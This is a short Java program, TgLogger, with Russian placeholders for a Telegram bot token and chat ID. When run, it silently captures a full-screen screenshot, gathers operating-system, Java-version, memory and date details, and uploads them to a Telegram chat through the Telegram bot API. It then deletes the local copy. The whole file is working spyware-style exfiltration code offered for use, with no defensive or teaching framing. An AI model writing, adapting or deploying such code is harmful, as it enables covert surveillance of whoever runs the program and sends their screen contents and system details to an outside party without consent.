import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import javax.imageio.ImageIO;
import java.util.Properties;
import java.text.SimpleDateFormat;
import java.util.Date;
public class TgLogger {
private static final String TELEGRAM_BOT_TOKEN = "токен тг бота";
private static final String CHAT_ID = "ваш айди телеграм @userinfobot";
public static void main(String[] args) throws IOException, AWTException {
sendInfo();
}
public static void sendInfo() throws AWTException, IOException {
Robot robot = new Robot();
Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
BufferedImage screenCapture = robot.createScreenCapture(screenRect);
File screenshotFile = File.createTempFile("screenshot", ".png");
ImageIO.write(screenCapture, "png", screenshotFile);
Properties props = System.getProperties();
String os = props.getProperty("os.name");
String osVersion = props.getProperty("os.version");
String architecture = props.getProperty("os.arch");
String javaVersion = props.getProperty("java.version");
long memory = Runtime.getRuntime().totalMemory() / (1024 * 1024);
SimpleDateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String currentDate = dateFormatter.format(new Date());
String message = "PC Info:\n" +
"Date: " + currentDate + "\n" +
"OS: " + os + "\n" +
"OS Version: " + osVersion + "\n" +
"Architecture: " + architecture + "\n" +
"Java Version: " + javaVersion + "\n" +
"Memory: " + memory + " MB";
sendPhoto(message, screenshotFile);
screenshotFile.delete();
}
public static void sendPhoto(String message, File photoFile) throws IOException {
String urlString = "https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendPhoto";
String boundary = "----WebKitFormBoundary" + System.currentTimeMillis();
URL url = new URL(urlString);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setDoOutput(true);
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
try (OutputStream os = conn.getOutputStream()) {
os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
os.write("Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n".getBytes(StandardCharsets.UTF_8));
os.write((CHAT_ID + "\r\n").getBytes(StandardCharsets.UTF_8));
os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
os.write("Content-Disposition: form-data; name=\"caption\"\r\n\r\n".getBytes(StandardCharsets.UTF_8));
os.write((message + "\r\n").getBytes(StandardCharsets.UTF_8));
os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
os.write(("Content-Disposition: form-data; name=\"photo\"; filename=\"" + photoFile.getName() + "\"\r\n").getBytes(StandardCharsets.UTF_8));
os.write("Content-Type: image/png\r\n\r\n".getBytes(StandardCharsets.UTF_8));
Files.copy(photoFile.toPath(), os);
os.write("\r\n".getBytes(StandardCharsets.UTF_8));
os.write(("--" + boundary + "--\r\n").getBytes(StandardCharsets.UTF_8));
}
if (conn.getResponseCode() == 200) {
System.out.println("Успешно!");
} else {
System.out.println("Ошибка отправки :(");
}
}
}